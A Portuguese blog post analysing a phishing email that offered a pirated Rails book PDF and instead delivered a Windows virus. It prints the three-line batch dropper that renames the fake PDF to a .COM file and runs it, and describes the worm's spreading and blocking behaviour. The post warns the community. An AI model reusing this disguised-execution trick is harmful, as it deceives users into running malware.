Hoje Pela manhã fui ver minha caixa de email quando me deparo com o seguinte:

“Livro Repensando a Web Com Rails versão PDF Disponível para Download!”

O.o…?

Ontem fiz o pedido do meu exemplar junto a editora. e logo hoje pela manhã vejo uma dessas… vejo que a pirataria está bem adiantada por aqui, já temos “pouco” material de qualidade no Brasil e os que existem são alvos de tal ação, que no final das contas faz com que cada vez menos pessoas tentem criar.

Bom fui em frente ver o que era o tal email.

---

…

Pirata Web Rails © 2000 – 2008

---

Retirei os link, vou explicar por que adiante.

O botão (que foi roubado do site do Baixaki pelo jeito, porque veio nomeado como “Tokiwa Data Recovery” O.o) levava ao site Easy Share, vi o arquivo de 35KB, Obvio que não era o livro do Akita, como eu estava no Ubuntu baixei o arquivo tranquilamente… e advinha o que acho, Oh! Um VÍRUS!! (pra Windows claro ).

O Arquivo Livro_Akita.zip continha os arquivos livro_akita.pdf e abrir_livro.bat (PS: uahuahuahauhauha), isso foi um trabalho muito mal feito, creio que ninguém cairia numa dessas, abri o código abrir_livro.bat.

---

@echo off
rename livro_akita.pdf livro_akita.com
livro_akita.com

---

O bat renomeava o .PDF para um .COM (Executável do DOS/Windows) e o executava… Um vírus, segundo a empresa ESET do antivírus NOD32 chamado um vírus desconhecido do tipo NewHeur_PE virus Um Tipo de Vírus de Infiltração utilizando em grande parte por email que leva ao download do malware , como em nosso caso, tipos como  Win32/Zafi.B, Win32/Mydoom.R, Win32/Bagle.X e muitos outros são encaixados nesse perfil.

Esse tipo de virus tem a capacidade de buscar pastas no disco com nomes comuns como upload, share, music e video se auto copiam gerando nomes falsos, tentam se enviar por contas de e-mail via P2P, e ainda bloqueiam ferramentas administrativas como msconfig.

Pelo jeito o cara é gênio não? errado, esse vírus é difundido por todos os lados o cara apenas fez o estúpido .bat que fez com que sua jogada fosse levada ao nível mais baixo da ingenuidade. Primeiro o cara está difundindo vírus de terceiros, não esta ganhando nada com isso, e segundo ele acabou com a jogada do vírus, que tem como fator principal a falsa impressão de ser uma URL como http://sitefuleiro.xzy.netgratis.babaca/okut.com esse .com é o lance.

Triste não!
Fico desapontado por ações (mesmo idiotas como essa) aconteçam em nossa comunidade, no head do email o meu email e o email do Cairo Noleto, acho que outros menbros da comunidade Rails devem ter sido alvo desse email tambem..